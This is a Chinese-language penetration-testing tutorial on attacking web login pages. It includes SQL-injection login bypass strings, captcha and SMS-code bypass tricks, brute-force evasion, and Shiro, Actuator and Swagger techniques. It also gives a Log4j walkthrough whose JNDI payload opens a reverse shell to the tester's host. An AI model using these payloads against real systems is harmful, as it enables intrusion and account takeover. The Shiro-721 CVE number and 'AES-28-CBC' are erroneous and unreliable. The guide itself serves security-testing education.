登录口的对抗
字数 2009 2025-08-19 12:42:36
登录口渗透测试技术详解
常规操作
目录扫描技术
-
常用工具:
- dirsearch
- gobuster
- wfuzz
- TidePlues
-
扫描策略:
- 使用不同扫描工具组合,因算法和字典差异可提高发现率
- 特别关注403状态码路径,可能存在绕过机会
-
403绕过技术:
- 使用dirsearch_bypass403工具
- 尝试以下拼接方式:
../..;//*/%09%20
- 发现未授权页面后尝试SQL注入或参数构造
SQL注入攻击
-
检测原则:
- 所有数据交互点都应测试SQL注入可能
-
万能密码技术:
- 已知用户名情况:
admin' or 1=1 # - 未知用户名情况:
1' or 1=1 # - 当#被过滤时:
admin' or '1'='1' or '1'='1
- 已知用户名情况:
-
SQL执行原理:
- 示例后台语句:
select * from users where username='1' or 1=1 #' and password=$password - 注意
and优先级高于or
- 示例后台语句:
弱口令爆破
-
用户名探测:
- 通过不同用户名返回不同提示信息识别有效用户名
-
爆破防护绕过:
- 使用Yakit的随机延迟功能
- 使用代理池,每次请求更换IP
- 伪造多人登录场景
逻辑缺陷利用
验证码绕过
-
图形验证码绕过:
- 修改值为空/null/true
- 验证码复用或失效
- 随机值可控(前端生成验证码)
-
验证码前端生成检测:
- 检查请求URL或参数中的base64编码值
- 如
url?characters=1111形式
-
自动化工具:
- BurpSuite定义宏
- Yakit定义序列
短信验证码绕过
-
手机号变形:
- 数字前加空格、+86、+086、+0086、+0 00
- 添加特殊字符:
/r、/n、?、#、!
-
多值提交:
moblile=number,numbermobile=number&mobile=number
-
其他绕过方式:
- 提交其他用户的验证码
- 四位验证码暴力破解
- 尝试固定值:111111、000000
- 修改接收验证码的手机号(拦截请求修改)
密码重置漏洞
-
流程跳跃:
- 伪造回显数据包跳过验证步骤
- 直接进入修改密码环节
-
参数替换:
- 修改mobile参数未与cookie绑定
- 替换为其他用户手机号修改其密码
信息收集技术
使用手册分析
- 获取初始密码或命名规则
- 生成针对性爆破字典
Web网站与APP关联
-
攻击面扩展:
- Web端受限时可尝试关联APP
- APP可能简化注册流程(如仅手机号注册)
-
数据库共用:
- Web和APP可能共用同一数据库
- 在APP注册的用户可能可用于Web登录
网站源码分析
-
开源框架识别:
- 查找GitHub等开源项目引用
- 获取默认凭证或进行代码审计
-
演示系统利用:
- 通过软件名称/图片在FOFA、鹰图搜索演示系统
- 发现上传路径或查询接口后在真实系统尝试
网站框架漏洞
Webpack技术
-
特征识别:
- 存在
app.xxxxxx.js和chunk.xxxxx.js - 可能暴露
Webpack://和sourceMappingURL
- 存在
-
自动化工具:
- 使用Packer Fuzzer工具:
- 自动提取API及参数
- 检测七类漏洞:
- 未授权访问
- 敏感信息泄露
- CORS
- SQL注入
- 水平越权
- 弱口令
- 任意文件上传
- 使用Packer Fuzzer工具:
Shiro框架
-
特征识别:
- "记住我"功能
- 前端代码出现
rememberMe - 响应包含
rememberMe=deleteMe
-
漏洞分类:
- Shiro-550 (CVE-2016-4437):
- Apache Shiro<=1.2.4
- 硬编码密钥
- Shiro-721 (CVE-2019-13422):
- Apache Shiro<1.4.2
- AES-28-CBC加密存在Padding Oracle Attack漏洞
- Shiro-550 (CVE-2016-4437):
-
探测工具:
- Heimdallr插件
Log4j2漏洞
-
漏洞原理:
- JNDI注入缺陷
- 通过
${jndi:xxx}触发远程代码执行
-
检测工具:
- Yakit插件:Log4Shell漏洞检测
- BurpSuite:TsojanScan被动扫描
-
利用案例:
- 在登录页面参数如
name=、eventide=处发现漏洞
- 在登录页面参数如
-
利用步骤:
# 启动JNDIExploit java -jar JNDIExploit-1.2-SNAPSHOT.jar -l 8888 -p 6666 -i 192.168.242.4 # 启动nc监听 nc -lvvp 10010 # 构造payload访问 http://your-ip/path?param=${jndi:ldap://192.168.242.4:8888/Basic/ReverseShell/192.168.242.4/10010}
网站接口漏洞
源代码接口拼接
-
JS文件分析:
- 查找未授权接口
- 构造数据访问
-
报错信息利用:
- 通过不断报错构造请求方式和参数
Swagger接口
-
发现方式:
- 目录爆破发现Swagger-ui界面
-
自动化工具:
python swagger-hack2.0.py -u https://xxxx/swagger/v1/swagger.json- 快速探测接口存活状态
- 可能直接发现信息泄露接口
Springboot Actuator
-
env目录利用:
- 目录爆破发现env目录
- Spring actuator未授权漏洞
-
heapdump文件分析:
- 下载heapdump文件(.hprof)
- 使用JDumpSpider提取敏感信息:
java -jar JDumpSpider.jar heapdump - 优先级信息:
- 数据库凭证及地址
- Shiro密钥
- 部署端口信息
渗透测试方法论
-
黑盒测试原则:
- 不断尝试不同攻击方式
- 注重细节分析
-
登录页面测试要点:
- 检查每个请求及回显数据包
- 分析参数注释及报错信息
- 逻辑漏洞需要发散思维
- 考虑程序设计未覆盖的场景